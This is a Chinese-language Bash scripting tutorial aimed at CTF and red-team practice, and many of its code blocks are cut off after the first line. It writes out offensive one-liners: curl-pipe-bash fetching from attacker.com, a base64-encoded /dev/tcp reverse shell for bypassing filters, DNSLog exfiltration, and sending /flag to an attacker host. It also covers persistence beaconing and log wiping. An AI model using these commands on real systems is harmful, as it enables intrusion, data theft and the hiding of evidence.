linux脚本语言
在 CTF 和红蓝对抗中,Shell 脚本不仅仅是用来简化日常运维的,更是用来在极端受限环境下实现主机探测、端口扫描、反弹 Shell 以及痕迹清理的利器。学习 Bash 脚本的终极目标是:就地取材。
1 Shell 脚本基础与变量
1.1 基本结构
每个标准的 Shell 脚本都应该以 shebang 开头,告诉系统用哪个解释器来执行。1
2
3
# 这是一个注释
echo "Hacking in progress..."
执行脚本前,通常需要赋予执行权限:chmod +x exp.sh
1.2 预定义变量 (传参利器)
在写自动化 Exploit 时,经常需要从命令行传入 IP、端口或 Payload,这时候预定义变量非常重要:
$0:脚本自身的文件名。$1~$9:脚本的第 1 到第 9 个参数。$#:传递给脚本的参数总个数。$@或$*:传递给脚本的所有参数(常用于将所有参数打包传给另一个命令)。$?:极其重要! 上一条命令的退出状态码。0代表成功,非0代表失败。(常用于判断端口是否开放、爆破是否成功)。
代码示例:简单的 Payload 生成器1
2
3
4
5
6#!/bin/bash
if [ $# -ne 2 ]; then
echo "用法: $0 <目标IP> <目标端口>"
exit 1
fi
echo "正在生成针对 $1:$2 的 Payload..."
2 无文件的一句话shell命令
在高级攻防对抗(特别是 Web RCE 漏洞利用和内网渗透)中,将 Payload 写入磁盘极易触发告警或被杀毒软件查杀。利用 Linux 的管道符、命令替换和逻辑控制,我们可以将复杂的攻击逻辑压缩成单行命令,实现“内存加载”和“无文件落地”的攻击。
2.1 构造一句话的核心机制(“三板斧”)
2.1.1 逻辑连接符 (控制执行顺序) 这是把多条独立命令“缝合”成一句话的基础:
;(分号):无条件顺序执行。无论上一条命令成功与否,继续执行下一条。&&(逻辑与):条件执行。只有左边的命令成功(退出码为0),才执行右边的命令。(常用于:下载成功后才执行)。||(逻辑或):备用执行。只有左边的命令失败,才执行右边的命令。(常用于:如果 curl 没有,就用 wget)。
实战组合示例:1
2# 尝试用 curl 下载,如果失败就尝试 wget,如果成功则赋予执行权限并运行
curl -O http://vps/exp || wget http://vps/exp && chmod +x exp && ./exp2.1.2 管道符
|(数据流转)
管道符的作用是:将左边命令的“标准输出 (stdout)”直接作为右边命令的“标准输入 (stdin)”。它是在内存中传递数据的核心,完全不经过磁盘。
实战场景:无文件执行远端脚本 (Fileless Execution) 这是红队最常用的起手式。直接从远程拉取恶意 Bash 脚本并在内存中执行。1
2curl -s [http://attacker.com/payload.sh](http://attacker.com/payload.sh) | bash
# 解释:curl 下载脚本的代码以文本形式输出,直接顺着管道流进 bash 的肚子里被执行,全程无文件生成。
2.1.3 命令替换/占位符 $() 或 ` (结果提取)
与管道符不同,命令替换的作用是:先偷偷执行括号里的命令,然后把它的输出结果当作“字符串”,填补回原来的位置。
实战场景:动态构造参数 (DNSLog 外带)1
2# 将当前用户名作为子域名,向 DNSLog 发起请求
ping -c 1 $(whoami).x.dnslog.cn
2.2 高阶 One-Liner 攻防实战场景
2.2.1 场景一:Base64 编码绕过特殊字符过滤
在 Web 漏洞(如命令注入)中,常常会过滤空格、引号、甚至反斜杠。我们可以把包含恶意的长串 Payload 进行 Base64 编码,利用管道符一句话解码并执行。
Payload 构造: 假设原命令是复杂的反弹 Shell:bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 将其 Base64 编码后得到:YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE=
一句话无文件触发:
1 | echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE= | base64 -d | bash |
(整个过程全在管道和内存中完成,完美绕过了对 >,&,/ 等符号的正则过滤)
2.2.2 场景二:配合 xargs 进行参数传递
有时候,右边的命令不接受管道传来的“标准输入”,只接受跟在命令后面的“参数”(比如 touch, rm, curl 等)。这时候就需要 xargs 将管道数据转换成命令行参数。
实战场景:读取敏感文件并通过 curl POST 发送
1 | # 错误写法:cat /flag | curl -X POST -d [http://attacker.com](http://attacker.com) (curl 不知道把管道数据放哪里) |
解释:-I {} 表示将前面传过来的数据命名为 {},然后将它插入到后面 curl 命令中 {} 所在的位置。
2.2.3 场景三:Python 无文件内存加载
如果目标机器上没有 bash 或者限制极严,但存在 Python 环境,我们可以利用 Python 的 -c (Command) 参数,结合命令替换,实现一行代码远程加载并执行复杂的 Python 脚本。
Bash
1 | # 从远端下载 Python 木马并在内存中直接解析执行 |
2.2.4 场景四:交互式环境逃逸
在某些 CTF 题目或加固的堡垒机中,你登录后面对的是 rbash (Restricted Bash),禁用了路径跳转、重定向等功能。可以使用一句话调用其他解释器来生成标准 Shell。
1 | # 利用 awk 执行系统命令逃逸 |
3 流程控制 (红蓝实战场景)
3.1 if 条件判断 (环境侦察)
在执行高危操作前,通常需要判断当前用户权限或目标文件是否存在。
实战场景:检查是否拿到 Root 权限
1 | #!/bin/bash |
3.1.1 核心语法与注意事项
在 Bash 中,if 语句主要使用 [ ](单括号)或 [[ ]](双括号)来进行条件测试。
- 强烈推荐使用
[[ ]](双括号):它是 Bash 的扩展语法,比单括号更安全(不容易因为变量为空或包含空格而报错),并且支持更强大的正则匹配和模式匹配。 - 致命空格: 在 Bash 中,括号内外、运算符前后必须有空格。
[ "$A" == "1" ]是对的,["$A"=="1"]会直接报错。
基本结构:1
2
3
4
5
6
7if [[ 条件测试 ]]; then
# 条件成立时执行
elif [[ 另一个条件 ]]; then
# 另一个条件成立时执行
else
# 都不成立时执行
fi
3.1.2 字符串比较 (常用于判断输入参数)
用于检查命令输出、传入的 Payload 或用户名等。
-z "$str": 判断字符串是否为空 (Zero length)。【实战常用:检查是否传入了目标 IP】-n "$str": 判断字符串是否非空 (Non-zero length)。"$a" == "$b": 检查字符串是否相等。"$a" != "$b": 检查字符串是否不相等。[[ "$a" == *keyword* ]]: 通配符匹配(检查 $a 中是否包含 keyword,注意星号在双括号内才生效)。
实战代码:检查传入参数并验证格式
1 | #!/bin/bash |
3.1.3 整数比较 (常用于状态码、UID、端口号)
注意:在单括号 [ ] 中,只能使用英文缩写!(在双括号 (( )) 中才可以使用 >, <,但为了通用性,建议记住英文缩写)。
-eq: 等于 (Equal)-ne: 不等于 (Not Equal)-gt: 大于 (Greater Than)-ge: 大于或等于 (Greater than or Equal)-lt: 小于 (Less Than)-le: 小于或等于 (Less than or Equal)
实战代码:判断 Web 响应状态码
1 | status_code=$(curl -s -o /dev/null -w "%{http_code}" http://192.168.1.100) |
3.1.4 文件属性判断 (红蓝侦察核心)
这是渗透测试和提权脚本中最重要的一部分!用于探测目标环境。
-e FILE: 检查文件或目录是否存在 (Exist)。-f FILE: 检查是否为普通文件 (File)。-d DIR: 检查是否为目录 (Directory)。-r FILE: 检查当前用户是否有读权限 (Read)。【用于探测敏感文件如 /etc/shadow】-w FILE: 检查当前用户是否有写权限 (Write)。【用于寻找可写入后门的位置】-x FILE: 检查当前用户是否有执行权限 (eXecute)。【用于寻找可利用的二进制文件】-s FILE: 检查文件是否存在且大小不为 0 (Size)。
实战代码:全自动敏感文件探测
1 | #!/bin/bash |
3.1.5 逻辑运算符 (组合条件)
&&: 逻辑与 (AND),前后条件都成立才为真。||: 逻辑或 (OR),只要有一个条件成立即为真。!: 逻辑非 (NOT),反转判断结果。
技巧:在使用单括号 [ ] 时,逻辑与/或需要用 -a 和 -o;但强烈建议直接使用双括号 [[ ]] 配合 && 和 ||,不仅可读性高,而且不会出错。
1 | # 例子:如果 /tmp 可写 并且 /usr/bin/wget 存在 |
3.2 for 循环 (自动化扫描/爆破)
for 循环是内网横向移动时进行主机存活探测、批量打 Payload 的核心。
3.2.1 核心语法与常用迭代方式
Bash 中的 for 循环非常灵活,支持多种数据列表的遍历方式,应对不同的渗透场景:
1 | # 1. 遍历大括号生成的序列 (最常用于扫描 C 段 IP 或枚举连续数字) |
3.2.2 实战场景 1:无工具端口扫描器 (Living off the Land)
当你在内网拿到一台机器,但上面既没有 nmap 也没有 nc,甚至不允许上传文件时,可以用原生 /dev/tcp 配合 for 循环写一个极速的并发端口扫描器。
1 | #!/bin/bash |
3.2.3 实战场景 2:CTF Web 敏感文件/备份源码探测
在 CTF 比赛中,有时候我们需要快速探测某个接口是否存在备份文件(比如 index.php.bak, index.php~)。如果不方便挂代理用 Burp 爆破,一行 for 循环即可搞定。
1 | #!/bin/bash |
3.2.4 实战场景 3:权限维持之“端口敲门”
红队在目标机器上留下隐藏后门(如只在特定条件下才放行 SSH 防火墙规则)时,经常使用“端口敲门”技术。攻击者必须依次触碰特定的几个端口,后门才会开启。用 for 循环敲门最合适不过:
1 | #!/bin/bash |
3.2.5 实战场景 4:基于序列的盲注辅助探测
在进行 SQL 盲注或命令执行盲注时,有时我们需要不断递增某个 ID 或者 sleep 的时间。
1 | #!/bin/bash |
⚠️ 避坑指南: 如果你使用
for line in $(cat file.txt)来遍历带空格的文件内容(比如带空格的密码字典),Bash 默认会把空格也当作分隔符,导致一行内容被拆成多段。 解决办法: 处理需要逐行读取的字典时,强烈建议使用while read -r line; do ... done < file.txt,而不是使用for。
3.3 while 循环 (字典读取与行处理)
在渗透测试中,while 循环主要用于处理基于行的文本流,例如读取密码字典进行盲注/爆破、逐行解析系统配置文件,或者编写无限循环的守护进程(维持权限)。
3.3.1 核心语法与“避坑”指南
逐行读取文件时,最标准的 Bash 写法是结合 read 命令和输入重定向 <:
1 | while read -r line; do |
⚠️ 关键细节(面试与实战常考):
必须加
-r参数:read -r表示保留原样(Raw),防止字典中的反斜杠\被 Bash 意外转义或吞掉。这在读取包含特殊字符的密码字典时极其重要。变量加双引号:引用
$line时一定要加"$line",防止字典里的空格导致参数解析错误。重定向在末尾:
< "dict.txt"放在done的后面,代表把整个文件作为输入流喂给这个while循环。
3.3.2 实战场景 1:优化版 Web 目录爆破 (带简单并发)
截图中的原生单线程爆破速度会非常慢。在没有 ffuf 或 dirsearch 的极限环境下,我们可以利用后台运行 & 加上简单的并发控制来提升速度。
1 | #!/bin/bash |
3.3.3 实战场景 2:解析系统敏感文件 (提权信息收集)
拿到低权限 Shell 后,我们经常需要读取 /etc/passwd 来寻找有哪些可登录的用户。利用内置字段分隔符变量 IFS,while 可以像处理 CSV 一样轻松切分数据。
1 | #!/bin/bash |
3.3.4 实战场景 3:无限循环与权限维持 (Beaconing)
在红队行动中,如果我们在目标机器上留下了一个反弹 Shell,为了防止网络波动断开连接,通常会写一个无限 while 循环让它定期(像心跳一样)向我们的 C2 服务器发起连接请求。
1 | #!/bin/bash |
(注意:在实际环境中,这种脚本通常会在末尾加 & 让它在后台静默运行)
3.3.4.1 实战场景 4:实时监控日志提取敏感数据 (Blue Team / 蓝队溯源)
如果作为防守方(蓝队)或者 CTF AWD 赛制下的防御阶段,你可以结合管道符 | 让 while 实时监控不断写入的 Web 日志,抓取攻击者的恶意 Payload:
1 | #!/bin/bash |
4 原生 Bash 高级利用 (Living off the Land)
4.1 伪设备:/dev/tcp 与 /dev/udp
这是 Bash 中最具进攻性的隐藏功能!如果在目标机器上找不到 nc (Netcat) 或 nmap,Bash 本身就可以建立网络连接。
1. 原生端口扫描
1 | # 测试目标 192.168.1.100 的 80 端口是否开放 |
2. 经典的 Bash 反弹 Shell (Reverse Shell)
面试与实战中最常考的 One-Liner。利用 /dev/tcp 将目标机的标准输入和输出重定向到攻击机。
1 | bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1 |
原理拆解:
bash -i:产生一个交互式的 bash。>& /dev/tcp/IP/Port:将标准输出 (stdout) 和标准错误 (stderr) 重定向到攻击机的 TCP 连接上。0>&1:将标准输入 (stdin) 重定向到刚才建立的 TCP 连接上(即允许攻击机输入命令)。
4.2 提权辅助 (Privilege Escalation)
当拿到低权限 Shell 后,通常需要通过脚本自动化收集可提权的信息。
代码示例:快速内网信息收集脚本片段
1 | #!/bin/bash |
4.3 痕迹清理 (Anti-Forensics)
在红蓝对抗中,做完操作后必须抹除自己的痕迹(注意:仅限授权的攻防演练使用,切勿在真实非法环境中操作)。
代码示例:清理登录与操作日志
1 | #!/bin/bash |
